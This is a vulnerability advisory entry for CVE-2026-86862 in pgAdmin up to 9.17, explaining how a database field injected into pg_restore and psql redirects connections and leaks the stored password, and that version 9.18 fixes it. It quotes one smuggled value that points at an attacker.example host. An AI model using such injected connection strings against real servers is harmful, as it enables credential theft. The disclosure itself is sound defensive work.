pgAdmin up to 9.17 Restore/Maintenance tools database information disclosure

Summaryinfo

A vulnerability has been found in pgAdmin up to 9.17 and classified as problematic. This affects an unknown part of the component Restore/Maintenance tools. This manipulation of the argument database causes information disclosure. This vulnerability is tracked as CVE-2026-86862. The attack is possible to be carried out remotely. No exploit exists. The affected component should be upgraded.

Detailsinfo

A vulnerability has been found in pgAdmin up to 9.17 and classified as problematic. Affected by this vulnerability is an unknown part of the component Restore/Maintenance tools. The manipulation of the argument database with an unknown input leads to a information disclosure vulnerability. The CWE definition for the vulnerability is CWE-200. The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. As an impact it is known to affect confidentiality. The summary by CVE is:

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

It is possible to read the advisory at github.com. This vulnerability is known as CVE-2026-86862 since 09/08/2026. The exploitation appears to be easy. The attack can be launched remotely. Technical details of the vulnerability are known, but there is no available exploit. The attack technique deployed by this issue is T1592 according to MITRE ATT&CK.

Upgrading to version 9.18 eliminates this vulnerability.

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Productinfo

Name

• pgAdmin

Version

• 9.0
• 9.1
• 9.2
• 9.3
• 9.4
• 9.5
• 9.6
• 9.7
• 9.8
• 9.9
• 9.10
• 9.11
• 9.12
• 9.13
• 9.14
• 9.15
• 9.16
• 9.17

CPE 2.3info

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CPE 2.2info

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